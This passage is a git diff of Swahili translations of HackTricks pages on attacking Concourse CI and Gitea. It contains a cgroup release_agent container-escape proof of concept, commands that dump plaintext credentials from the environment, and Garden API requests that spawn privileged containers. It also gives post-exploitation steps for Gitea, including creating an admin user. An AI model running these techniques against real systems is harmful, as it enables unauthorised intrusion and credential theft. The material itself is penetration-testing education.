zaidi. +Katika sehemu zilizopita tuliona jinsi ya **kutekeleza kazi yenye mamlaka na concourse**. Hii haitatoa ufikiaji sawa kabisa wa kontena kama bendera yenye mamlaka katika kontena la docker. Kwa mfano, huwezi kuona kifaa cha mfumo wa faili cha node katika /dev, hivyo kutoroka kunaweza kuwa "ngumu" zaidi. -Katika PoC ifuatayo tutatumia release_agent kutoroka na marekebisho madogo: +Katika PoC ifuatayo tutatumia release_agent kutoroka na mabadiliko madogo: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" @@ -260,9 +260,9 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" cat /output ``` > [!WARNING] -> Kama unavyojua hii ni tu [**kutoroka kwa release_agent wa kawaida**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) tu kubadilisha njia ya cmd katika node +> Kama unavyojua hii ni [**kutoroka kwa release_agent wa kawaida**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) tu ikibadilisha njia ya cmd katika node -#### Kutoroka hadi node kutoka kwa kontena la Worker +#### Kutoroka hadi node kutoka kwa kontena la Kazi Kutoroka kwa release_agent wa kawaida na mabadiliko madogo yanatosha kwa hili: ```bash @@ -291,9 +291,9 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` -#### Kutoroka kwenye node kutoka kwenye Web container +#### Kutoroka kwenye node kutoka kwenye chombo cha Mtandao -Hata kama web container ina baadhi ya ulinzi zilizozuiliwa **haifanyi kazi kama container yenye mamlaka ya kawaida** (kwa mfano, huwezi **kuunganisha** na **uwezo** ni **mdogo sana**, hivyo njia zote rahisi za kutoroka kutoka kwenye container hazifai). +Hata kama chombo cha mtandao kina baadhi ya ulinzi uliozimwa, **hakikimbii kama chombo cha kawaida chenye mamlaka** (kwa mfano, huwezi **kuunganisha** na **uwezo** ni mdogo sana, hivyo njia zote rahisi za kutoroka kutoka kwenye chombo hazifai). Hata hivyo, inahifadhi **akili za ndani kwa maandiko wazi**: ```bash @@ -304,9 +304,9 @@ env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` -Unaweza kutumia akreditivu hizo ku **ingia kwenye seva ya wavuti** na **kuunda kontena lenye mamlaka na kutoroka hadi kwenye node**. +Unaweza kutumia akreditivu hizo ku **ingia kwenye seva ya wavuti** na **kuunda kontena lenye mamlaka na kutoroka hadi nodi**. -Katika mazingira unaweza pia kupata taarifa za **kufikia postgresql** ambayo concourse inatumia (anwani, **jina la mtumiaji**, **nenosiri** na hifadhidata pamoja na taarifa nyingine): +Katika mazingira unaweza pia kupata taarifa za **kufikia postgresql** ambayo concourse inatumia (anwani, **jina la mtumiaji**, **nenosiri** na hifadhidata miongoni mwa taarifa nyingine): ```bash env | grep -i postg CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238 @@ -332,12 +332,12 @@ select * from users; > [!WARNING] > Hizi ni baadhi ya maelezo ya kuvutia kuhusu huduma, lakini kwa sababu inasikiliza tu kwenye localhost, maelezo haya hayataleta athari ambazo hatujashambulia tayari -Kwa default, kila mfanyakazi wa concourse atakuwa akifanya kazi na huduma ya [**Garden**](https://github.com/cloudfoundry/garden) kwenye bandari 7777. Huduma hii inatumika na Mkurugenzi wa Mtandao kuonyesha mfanyakazi **kile anahitaji kutekeleza** (kupakua picha na kuendesha kila kazi). Hii inasikika vizuri kwa mshambuliaji, lakini kuna ulinzi mzuri: +Kwa default, kila mfanyakazi wa concourse atakuwa akifanya kazi na huduma ya [**Garden**](https://github.com/cloudfoundry/garden) kwenye bandari 7777. Huduma hii inatumika na Mchambuzi wa Mtandao kuonyesha mfanyakazi **kile anahitaji kutekeleza** (kupakua picha na kuendesha kila kazi). Hii inasikika vizuri kwa mshambuliaji, lakini kuna ulinzi mzuri: -- Inapatikana tu **kitaifa** (127..0.0.1) na nadhani wakati mfanyakazi anajiandikisha dhidi ya Mtandao na huduma maalum ya SSH, tunnel inaundwa ili seva ya wavuti iweze **kuzungumza na kila huduma ya Garden** ndani ya kila mfanyakazi. +- Inapatikana tu **katika eneo la ndani** (127..0.0.1) na nadhani wakati mfanyakazi anajiandikisha dhidi ya Mtandao na huduma maalum ya SSH, tunnel inaundwa ili seva ya wavuti iweze **kuzungumza na kila huduma ya Garden** ndani ya kila mfanyakazi. - Seva ya wavuti **inasimamia kontena zinazoendesha kila sekunde chache**, na kontena **zisizotarajiwa** zinatolewa. Hivyo ikiwa unataka **kuendesha kontena maalum** unahitaji **kuingilia** kati ya **mawasiliano** kati ya seva ya wavuti na huduma ya garden. -Wafanyakazi wa Concourse wanaendesha kwa ruhusa za juu za kontena: +Wafanyakazi wa concourse wanaendesha kwa ruhusa za juu za kontena: ``` Container Runtime: docker Has Namespaces: @@ -348,14 +348,14 @@ Capabilities: BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` -Hata hivyo, mbinu kama **kuunganisha** kifaa cha /dev cha node au release_agent **hazitafanya kazi** (kwa sababu kifaa halisi chenye mfumo wa faili wa node hakiwezi kupatikana, ni kifaa cha virtual tu). Hatuwezi kufikia michakato ya node, hivyo kutoroka kutoka kwa node bila exploits za kernel kunakuwa ngumu. +Hata hivyo, mbinu kama **kuunganisha** kifaa cha /dev cha node au release_agent **hazitafanya kazi** (kwa sababu kifaa halisi chenye mfumo wa faili wa node hakipatikani, ni kifaa cha virtual tu). Hatuwezi kufikia michakato ya node, hivyo kutoroka kutoka kwa node bila exploits za kernel kunakuwa ngumu. > [!NOTE] > Katika sehemu iliyopita tuliona jinsi ya kutoroka kutoka kwa kontena lenye mamlaka, hivyo ikiwa tunaweza **kutekeleza** amri katika **kontena lenye mamlaka** lililoundwa na **mfanyakazi** **wa sasa**, tunaweza **kutoroka hadi node**. -Kumbuka kwamba nilipokuwa nikicheza na concourse niliona kwamba wakati kontena jipya linazaliwa ili kuendesha kitu, michakato ya kontena inapatikana kutoka kwa kontena la mfanyakazi, hivyo ni kama kontena kuunda kontena jipya ndani yake. +Kumbuka kwamba nilipokuwa nikicheza na concourse niliona kwamba wakati kontena jipya linazaliwa ili kufanikisha kitu, michakato ya kontena inapatikana kutoka kwa kontena la mfanyakazi, hivyo ni kama kontena kuunda kontena jipya ndani yake. -**Kuingia ndani ya kontena lenye mamlaka linaloendesha** +**Kuingia ndani ya kontena lenye mamlaka linalofanya kazi** ```bash # Get current container curl 127.0.0.1:7777/containers @@ -387,7 +387,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"], --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` -Hata hivyo, seva ya wavuti inakagua kila sekunde chache kontena zinazotembea, na ikiwa kontena isiyotarajiwa itagundulika, itafutwa. Kadri mawasiliano yanavyofanyika katika HTTP, unaweza kuingilia mawasiliano ili kuepuka kufutwa kwa kontena zisizotarajiwa: +Hata hivyo, seva ya wavuti inakagua kila sekunde chache kontena zinazotembea, na ikiwa kontena isiyotarajiwa itagunduliwa, itafutwa. Kadri mawasiliano yanavyofanyika katika HTTP, unaweza kuingilia mawasiliano ili kuepuka kufutwa kwa kontena zisizotarajiwa: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 9f2223acf..feb930584 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -8,14 +8,14 @@ #### With Docker-Compose -Hii faili ya docker-compose inarahisisha usakinishaji ili kufanya majaribio na concourse: +Hii faili ya docker-compose inarahisisha usanikishaji wa kufanya majaribio na concourse: ```bash wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml docker-compose up -d ``` Unaweza kupakua amri ya `fly` kwa ajili ya OS yako kutoka mtandao katika `127.0.0.1:8080` -#### Kwa Kubernetes (Inapendekezwa) +#### Pamoja na Kubernetes (Inapendekezwa) Unaweza kwa urahisi kupeleka concourse katika **Kubernetes** (katika **minikube** kwa mfano) kwa kutumia helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). ```bash @@ -67,9 +67,9 @@ secret: MWYyZDFlMmU2N2Rm ' | kubectl apply -f - ``` -### Create Pipeline +### Unda Pipeline -Pipeline inajumuisha orodha ya [Jobs](https://concourse-ci.org/jobs.html) ambayo ina orodha iliyopangwa ya [Steps](https://concourse-ci.org/steps.html). +Pipeline inaundwa na orodha ya [Jobs](https://concourse-ci.org/jobs.html) ambayo ina orodha iliyopangwa ya [Steps](https://concourse-ci.org/steps.html). ### Steps @@ -79,7 +79,7 @@ Aina kadhaa tofauti za hatua zinaweza kutumika: - hatua ya [`get` step](https://concourse-ci.org/get-step.html) inapata [resource](https://concourse-ci.org/resources.html) - hatua ya [`put` step](https://concourse-ci.org/put-step.html) inasasisha [resource](https://concourse-ci.org/resources.html) - hatua ya [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) inakamilisha [pipeline](https://concourse-ci.org/pipelines.html) -- hatua ya [`load_var` step](https://concourse-ci.org/load-var-step.html) inachukua thamani katika [local var](https://concourse-ci.org/vars.html#local-vars) +- hatua ya [`load_var` step](https://concourse-ci.org/load-var-step.html) inaloadi thamani kwenye [local var](https://concourse-ci.org/vars.html#local-vars) - hatua ya [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) inaendesha hatua kwa pamoja - hatua ya [`do` step](https://concourse-ci.org/do-step.html) inaendesha hatua kwa mpangilio - mrekebishaji wa hatua ya [`across` step](https://concourse-ci.org/across-step.html#schema.across) inaendesha hatua mara nyingi; mara moja kwa kila mchanganyiko wa thamani za mabadiliko @@ -87,9 +87,9 @@ Aina kadhaa tofauti za hatua zinaweza kutumika: Kila [step](https://concourse-ci.org/steps.html) katika [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) inaendesha katika **konteina yake mwenyewe**. Unaweza kuendesha chochote unachotaka ndani ya konteina _(yaani, endesha majaribio yangu, endesha hii bash script, jenga picha hii, nk.)_. Hivyo basi, ikiwa una kazi yenye hatua tano, Concourse itaunda konteina tano, moja kwa kila hatua. -Kwa hiyo, inawezekana kuashiria aina ya konteina ambayo kila hatua inahitaji kuendesha ndani yake. +Kwa hivyo, inawezekana kuashiria aina ya konteina ambayo kila hatua inahitaji kuendesha ndani yake. -### Simple Pipeline Example +### Mfano wa Rahisi wa Pipeline ```yaml jobs: - name: simple @@ -123,21 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch # From another console fly -t tutorial intercept --job pipe-name/simple ``` -Check **127.0.0.1:8080** to see the pipeline flow. +Angalia **127.0.0.1:8080** ili kuona mtiririko wa pipeline. -### Bash script with output/input pipeline +### Bash script na pipeline ya matokeo/ingizo -Ni **uwezekano wa kuhifadhi matokeo ya kazi moja kwenye faili** na kuashiria kwamba ni pato na kisha kuashiria ingizo la kazi inayofuata kama pato la kazi ya awali. Kile ambacho concourse hufanya ni **kuweka saraka ya kazi ya awali katika kazi mpya ambapo unaweza kufikia faili zilizoundwa na kazi ya awali**. +Inawezekana **kuhifadhi matokeo ya kazi moja katika faili** na kuashiria kwamba ni matokeo na kisha kuashiria ingizo la kazi inayofuata kama matokeo ya kazi ya awali. Kile ambacho concourse inafanya ni **kuunganisha directory ya kazi ya awali katika kazi mpya ambapo unaweza kufikia faili zilizoundwa na kazi ya awali**. ### Triggers Huhitaji kuanzisha kazi kwa mikono kila wakati unapotaka kuzifanya, unaweza pia kuzipanga zifanyike kila wakati: - Wakati fulani unapita: [Time resource](https://github.com/concourse/time-resource/) -- Kwa kujitolea mpya kwenye tawi kuu: [Git resource](https://github.com/concourse/git-resource) +- Kwa commits mpya kwenye tawi kuu: [Git resource](https://github.com/concourse/git-resource) - PR mpya: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) - Pakua au sukuma picha ya hivi karibuni ya programu yako: [Registry-image resource](https://github.com/concourse/registry-image-resource/) -Angalia mfano wa YAML pipeline unaoanzisha kwenye kujitolea mpya kwa master katika [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) +Angalia mfano wa YAML pipeline unaoanzishwa kwa commits mpya kwenye master katika [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index b8f58c3dc..bdfaa8c20 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -1,28 +1,28 @@ -# Gitea Security +# Usalama wa Gitea {{#include ../../banners/hacktricks-training.md}} -## What is Gitea +## Nini Gitea **Gitea** ni **ufumbuzi wa mwenyeji wa jamii unaosimamiwa kwa urahisi wa kuhifadhi msimbo** ulioandikwa kwa Go. ![](<../../images/image (160).png>) -### Basic Information +### Taarifa za Msingi {{#ref}} basic-gitea-information.md {{#endref}} -## Lab +## Maabara Ili kuendesha mfano wa Gitea kwa ndani unaweza tu kuendesha kontena la docker: ```bash docker run -p 3000:3000 gitea/gitea ``` -Connect to port 3000 to access the web page. +Unganisha kwenye bandari 3000 ili ufikie ukurasa wa wavuti. -You could also run it with kubernetes: +Unaweza pia kuendesha kwa kutumia kubernetes: ``` helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea @@ -31,40 +31,40 @@ helm install gitea gitea-charts/gitea - Repos za umma: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) - Watumiaji waliosajiliwa: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) -- Mashirika yaliyojregistered: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) +- Mashirika yaliyosajiliwa: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) -Kumbuka kwamba kwa **kawaida Gitea inaruhusu watumiaji wapya kujiandikisha**. Hii haitatoa ufikiaji wa kuvutia kwa watumiaji wapya juu ya repos za mashirika/watumiaji wengine, lakini **mtumiaji aliyeingia** anaweza kuwa na uwezo wa **kuangalia repos au mashirika zaidi**. +Kumbuka kwamba kwa **kawaida Gitea inaruhusu watumiaji wapya kujisajili**. Hii haitatoa ufikiaji wa kuvutia kwa watumiaji wapya juu ya repos za mashirika/watumiaji wengine, lakini **mtumiaji aliyeingia** anaweza kuwa na uwezo wa **kuangalia repos au mashirika zaidi**. ## Ukatili wa Ndani Kwa hali hii tunaenda kudhani kwamba umepata ufikiaji wa akaunti ya github. -### Kwa Misingi ya Mtumiaji/Keki ya Mtandao +### Kwa Kutumia Akida za Mtumiaji/Keki ya Mtandao -Ikiwa kwa namna fulani tayari una misingi ya mtumiaji ndani ya shirika (au umepora keki ya kikao) unaweza **kuingia tu** na kuangalia ni **idhana gani una** juu ya **repos,** katika **timu zipi** ulizo, **orodhesha watumiaji wengine**, na **repos zimewezeshwaje.** +Ikiwa kwa namna fulani tayari una akida za mtumiaji ndani ya shirika (au umepora keki ya kikao) unaweza **kuingia tu** na kuangalia ni **idhana gani unazo** juu ya **repos,** katika **timu zipi** ulizo, **orodhesha watumiaji wengine**, na **jinsi repos zinavyolindwa.** -Kumbuka kwamba **2FA inaweza kutumika** hivyo utaweza kufikia habari hii tu ikiwa unaweza pia **kupita ukaguzi huo**. +Kumbuka kwamba **2FA inaweza kutumika** hivyo utaweza kupata taarifa hii tu ikiwa unaweza pia **kupita ukaguzi huo**. > [!NOTE] -> Kumbuka kwamba ikiwa **utafanikiwa kupora keki ya `i_like_gitea`** (sasa imewekwa na SameSite: Lax) unaweza **kujifanya kuwa mtumiaji** bila kuhitaji misingi au 2FA. +> Kumbuka kwamba ikiwa **utafanikiwa kupora keki ya `i_like_gitea`** (sasa imewekwa na SameSite: Lax) unaweza **kujifanya kuwa mtumiaji** bila kuhitaji akida au 2FA. -### Kwa Funguo za SSH za Mtumiaji +### Kwa Kutumia Funguo za SSH za Mtumiaji Gitea inaruhusu **watumiaji** kuweka **funguo za SSH** ambazo zitatumika kama **njia ya uthibitisho ya kupeleka msimbo** kwa niaba yao (hakuna 2FA inayotumika). -Kwa funguo hii unaweza kufanya **mabadiliko katika repos ambapo mtumiaji ana baadhi ya mamlaka**, hata hivyo huwezi kuitumia kufikia api ya gitea ili kuainisha mazingira. Hata hivyo, unaweza **kuainisha mipangilio ya ndani** ili kupata habari kuhusu repos na mtumiaji ulionao ufikiaji: +Kwa funguo hii unaweza kufanya **mabadiliko katika hifadhi ambapo mtumiaji ana baadhi ya mamlaka**, hata hivyo huwezi kuitumia kufikia api ya gitea ili kuainisha mazingira. Hata hivyo, unaweza **kuainisha mipangilio ya ndani** ili kupata taarifa kuhusu repos na mtumiaji ulionao ufikiaji: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` -Ikiwa mtumiaji ameweka jina lake la mtumiaji kama jina lake la gitea unaweza kufikia **funguo za umma alizoweka** katika akaunti yake kwenye _https://github.com/\.keys_, unaweza kuangalia hili kuthibitisha kuwa funguo binafsi ulizozipata zinaweza kutumika. +Ikiwa mtumiaji ameweka jina lake la mtumiaji kama jina lake la gitea unaweza kufikia **funguo za umma alizoweka** kwenye akaunti yake katika _https://github.com/\.keys_, unaweza kuangalia hili kuthibitisha kuwa funguo binafsi ulizozipata zinaweza kutumika. **Funguo za SSH** pia zinaweza kuwekwa katika hifadhi kama **funguo za kutekeleza**. Mtu yeyote mwenye ufikiaji wa funguo hii ataweza **kuanzisha miradi kutoka kwenye hifadhi**. Kawaida katika seva yenye funguo tofauti za kutekeleza, faili ya ndani **`~/.ssh/config`** itakupa taarifa kuhusu funguo inayohusiana. #### Funguo za GPG -Kama ilivyoelezwa [**hapa**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) wakati mwingine inahitajika kusaini ahadi au unaweza kugundulika. +Kama ilivyoelezwa [**hapa**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) wakati mwingine inahitajika kusaini mabadiliko au unaweza kugunduliwa. Angalia kwa ndani ikiwa mtumiaji wa sasa ana funguo yoyote kwa: ```shell @@ -78,9 +78,9 @@ Token ya mtumiaji inaweza kutumika **badala ya nenosiri** ili **kuhakiki** dhidi ### Kwa Programu ya Oauth -Kwa utangulizi kuhusu [**Programu za Gitea Oauth angalia taarifa za msingi**](./#with-oauth-application). +Kwa utangulizi kuhusu [**Programu za Oauth za Gitea angalia taarifa za msingi**](./#with-oauth-application). -Mshambuliaji anaweza kuunda **Programu ya Oauth yenye uharibifu** ili kupata data/hatua za kibali za watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi. +Mshambuliaji anaweza kuunda **Programu ya Oauth yenye uharibifu** ili kupata data/hatua za kipaumbele za watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi. Kama ilivyoelezwa katika taarifa za msingi, programu itakuwa na **ufikiaji kamili juu ya akaunti ya mtumiaji**. @@ -90,41 +90,41 @@ Katika Github tuna **github actions** ambazo kwa default hupata **token yenye uf - **Washa Push**: Ikiwa mtu yeyote mwenye ufikiaji wa kuandika anaweza kusukuma kwenye tawi, sukuma tu. - **Orodha ya Push zilizozuiliwa**: Kwa njia ile ile, ikiwa wewe ni sehemu ya orodha hii sukuma kwenye tawi. -- **Washa Orodha ya Merging**: Ikiwa kuna orodha ya merging, unahitaji kuwa ndani yake. -- **Hitaji idhini ni kubwa kuliko 0**: Kisha... unahitaji kumaliza mtumiaji mwingine. -- **Zuia idhini kwa watumiaji waliotajwa**: Ikiwa ni watumiaji waliotajwa pekee wanaweza kuidhinisha... unahitaji kumaliza mtumiaji mwingine aliye ndani ya orodha hiyo. -- **Futa idhini za zamani**: Ikiwa idhini haziondolewa na commits mpya, unaweza kuingilia PR iliyothibitishwa tayari ili kuingiza msimbo wako na kuunganisha PR. +- **Washa Orodha ya Merging**: Ikiwa kuna orodha ya merging, unahitaji kuwa ndani yake +- **Hitaji idhini ni kubwa kuliko 0**: Kisha... unahitaji kumaliza mtumiaji mwingine +- **Zuia idhini kwa watumiaji walioko kwenye orodha**: Ikiwa ni watumiaji walioko kwenye orodha pekee wanaweza kuidhinisha... unahitaji kumaliza mtumiaji mwingine aliye ndani ya orodha hiyo +- **Futa idhini za zamani**: Ikiwa idhini haziondolewa na commits mpya, unaweza kuiba PR iliyothibitishwa tayari ili kuingiza msimbo wako na kuunganisha PR. Kumbuka kwamba **ikiwa wewe ni admin wa org/repo** unaweza kupita ulinzi. ### Kuorodhesha Webhooks **Webhooks** zinaweza **kutuma taarifa maalum za gitea mahali fulani**. Unaweza kuwa na uwezo wa **kuitumia mawasiliano hayo**.\ -Hata hivyo, kawaida **siri** ambayo huwezi **kuipata** imewekwa katika **webhook** ambayo itazuiya watumiaji wa nje wanaojua URL ya webhook lakini si siri kuweza **kuitumia webhook hiyo**.\ -Lakini katika matukio mengine, watu badala ya kuweka **siri** mahali pake, wana **iweka katika URL** kama parameter, hivyo **kuangalia URLs** kunaweza kukuruhusu **kupata siri** na maeneo mengine ambayo unaweza kuendeleza zaidi. +Hata hivyo, kawaida **siri** ambayo huwezi **kuipata** imewekwa katika **webhook** ambayo itazuia watumiaji wa nje wanaojua URL ya webhook lakini si siri kuweza **kuitumia webhook hiyo**.\ +Lakini katika matukio mengine, watu badala ya kuweka **siri** mahali pake, wanaweza **kuweka katika URL** kama parameter, hivyo **kuangalia URLs** kunaweza kukuruhusu **kupata siri** na maeneo mengine ambayo unaweza kuendeleza zaidi. -Webhooks zinaweza kuwekwa katika **repo na katika kiwango cha org**. +Webhooks zinaweza kuwekwa katika **repo na ngazi ya org**. -## Baada ya Kutumia +## Baada ya Utekelezaji ### Ndani ya seva -Ikiwa kwa namna fulani umeweza kuingia ndani ya seva ambapo gitea inafanya kazi unapaswa kutafuta faili ya usanidi wa gitea. Kwa default iko katika `/data/gitea/conf/app.ini` +Ikiwa kwa namna fulani umeweza kuingia ndani ya seva ambapo gitea inafanya kazi unapaswa kutafuta faili ya usanidi wa gitea. Kwa default inapatikana katika `/data/gitea/conf/app.ini` Katika faili hii unaweza kupata **funguo** na **nenosiri**. Katika njia ya gitea (kwa default: /data/gitea) unaweza pia kupata taarifa za kuvutia kama: -- DB ya **sqlite**: Ikiwa gitea haitumii db ya nje itatumia db ya sqlite. +- DB ya **sqlite**: Ikiwa gitea haitumii db ya nje itatumia db ya sqlite - **sessions** ndani ya folda za sessions: Ukikimbia `cat sessions/*/*/*` unaweza kuona majina ya watumiaji walioingia (gitea inaweza pia kuhifadhi sessions ndani ya DB). -- **jwt private key** ndani ya folda ya jwt. -- Taarifa zaidi **nyeti** zinaweza kupatikana katika folda hii. +- **funguo ya siri ya jwt** ndani ya folda ya jwt +- Taarifa zaidi **nyeti** zinaweza kupatikana katika folda hii Ikiwa uko ndani ya seva unaweza pia **kutumia `gitea` binary** kupata/kubadilisha taarifa: -- `gitea dump` itatoa gitea na kuunda faili .zip. -- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` itaunda token ya aina iliyoonyeshwa (kuhifadhi). -- `gitea admin user change-password --username admin --password newpassword` Badilisha nenosiri. -- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Unda mtumiaji mpya wa admin na pata token ya ufikiaji. +- `gitea dump` itatoa gitea na kuunda faili .zip +- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` itaunda token ya aina iliyoonyeshwa (kuhifadhi) +- `gitea admin user change-password --username admin --password newpassword` Badilisha nenosiri +- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Unda mtumiaji mpya wa admin na pata token ya ufikiaji {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index f61b898c3..fcf423328 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -1,103 +1,103 @@ -# Basic Gitea Information +# Msingi wa Taarifa za Gitea {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## Muundo wa Msingi -Muundo wa msingi wa mazingira ya Gitea ni kuunganisha repos kwa **organization(s),** kila moja inaweza kuwa na **repositories kadhaa** na **teams kadhaa.** Hata hivyo, kumbuka kwamba kama ilivyo katika github, watumiaji wanaweza kuwa na repos nje ya shirika. +Muundo wa mazingira ya Gitea ni kuunganisha repos kwa **shirika(s),** kila moja inaweza kuwa na **hifadhi kadhaa** na **timu kadhaa.** Hata hivyo, kumbuka kwamba kama ilivyo katika github, watumiaji wanaweza kuwa na repos nje ya shirika. -Zaidi ya hayo, **mtumiaji** anaweza kuwa **mwanachama** wa **mashirika tofauti.** Ndani ya shirika, mtumiaji anaweza kuwa na **idhini tofauti juu ya kila repository.** +Zaidi ya hayo, **mtumiaji** anaweza kuwa **mwanachama** wa **mashirika tofauti.** Ndani ya shirika, mtumiaji anaweza kuwa na **idhini tofauti juu ya kila hifadhi.** -Mtumiaji pia anaweza kuwa **sehemu ya teams tofauti** zikiwa na idhini tofauti juu ya repos tofauti. +Mtumiaji pia anaweza kuwa **sehemu ya timu tofauti** zikiwa na idhini tofauti juu ya repos tofauti. -Na hatimaye, **repositories zinaweza kuwa na mifumo maalum ya ulinzi.** +Na hatimaye, **hifadhi zinaweza kuwa na mifumo maalum ya ulinzi.** -## Permissions +## Idhini -### Organizations +### Mashirika -Wakati **shirika linaundwa,** timu inayoitwa **Owners** inaundwa na mtumiaji anawekwa ndani yake. Timu hii itatoa **ufikiaji wa admin** juu ya **shirika,** hizo **idhini** na **jina** la timu **haziwezi kubadilishwa.** +Wakati **shirika linapoundwa,** timu inayoitwa **Wamiliki** inaundwa na mtumiaji anawekwa ndani yake. Timu hii itatoa **ufikiaji wa admin** juu ya **shirika,** hizo **idhini** na **jina** la timu **haziwezi kubadilishwa.** -**Org admins** (wamiliki) wanaweza kuchagua **mwonekano** wa shirika: +**Wamiliki wa Shirika** wanaweza kuchagua **mwonekano** wa shirika: - Umma -- Kizuiwaji (watumiaji walioingia tu) +- Kizuiwa (watumiaji walioingia tu) - Binafsi (wanachama tu) -**Org admins** wanaweza pia kuonyesha ikiwa **repo admins** wanaweza **kuongeza au kuondoa ufikiaji** kwa teams. Wanaweza pia kuonyesha idadi ya juu ya repos. +**Wamiliki wa Shirika** wanaweza pia kuonyesha kama **wasimamizi wa hifadhi** wanaweza **kuongeza au kuondoa ufikiaji** kwa timu. Wanaweza pia kuonyesha idadi ya juu ya repos. Wakati wa kuunda timu mpya, mipangilio kadhaa muhimu inachaguliwa: - Inabainishwa **repos za shirika ambazo wanachama wa timu wataweza kufikia**: repos maalum (repos ambapo timu imeongezwa) au zote. -- Pia inabainishwa **ikiwa wanachama wanaweza kuunda repos mpya** (mwandikaji atapata ufikiaji wa admin kwa hiyo) -- **Idhini** ambazo **wanachama** wa repo wata **kuwa nazo**: +- Pia inabainishwa **kama wanachama wanaweza kuunda repos mpya** (mumbaji atapata ufikiaji wa admin kwa hiyo) +- **Idhini** ambazo **wanachama** wa hifadhi wata **kuwa nazo**: - **Ukurugenzi** wa ufikiaji - **Ukurugenzi** maalum: ![](<../../images/image (118).png>) -### Teams & Users +### Timu & Watumiaji -Katika repo, **org admin** na **repo admins** (ikiwa inaruhusiwa na shirika) wanaweza **kusimamia majukumu** yanayotolewa kwa washirikiano (watumiaji wengine) na teams. Kuna **3** majukumu yanayowezekana: +Katika hifadhi, **mkurugenzi wa shirika** na **wasimamizi wa hifadhi** (ikiwa inaruhusiwa na shirika) wanaweza **kusimamia majukumu** yanayotolewa kwa washirikiano (watumiaji wengine) na timu. Kuna **3** majukumu yanayowezekana: - Mkurugenzi - Andika - Soma -## Gitea Authentication +## Uthibitishaji wa Gitea -### Web Access +### Ufikiaji wa Mtandao Kutumia **jina la mtumiaji + nenosiri** na labda (na inapendekezwa) 2FA. -### **SSH Keys** +### **Funguo za SSH** -Unaweza kuunda akaunti yako na funguo moja au kadhaa za umma zinazoruhusu funguo husika za **binafsi kufanya vitendo kwa niaba yako.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) +Unaweza kuunda akaunti yako kwa funguo moja au kadhaa za umma zinazoruhusu **funguo binafsi zinazohusiana kufanya vitendo kwa niaba yako.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) -#### **GPG Keys** +#### **Funguo za GPG** -Huwezi kujifanya kuwa mtumiaji kwa funguo hizi lakini ikiwa huzitumii inaweza kuwa inawezekana kwamba **unagundulika kwa kutuma commits bila saini.** +Huwezi **kujifanya kuwa mtumiaji kwa funguo hizi** lakini ikiwa hutazitumia inaweza kuwa inawezekana kwamba **utagundulika kwa kutuma commits bila saini.** -### **Personal Access Tokens** +### **Tokeni za Ufikiaji Binafsi** -Unaweza kuunda token za ufikiaji wa kibinafsi ili **kutoa programu ufikiaji wa akaunti yako.** Token 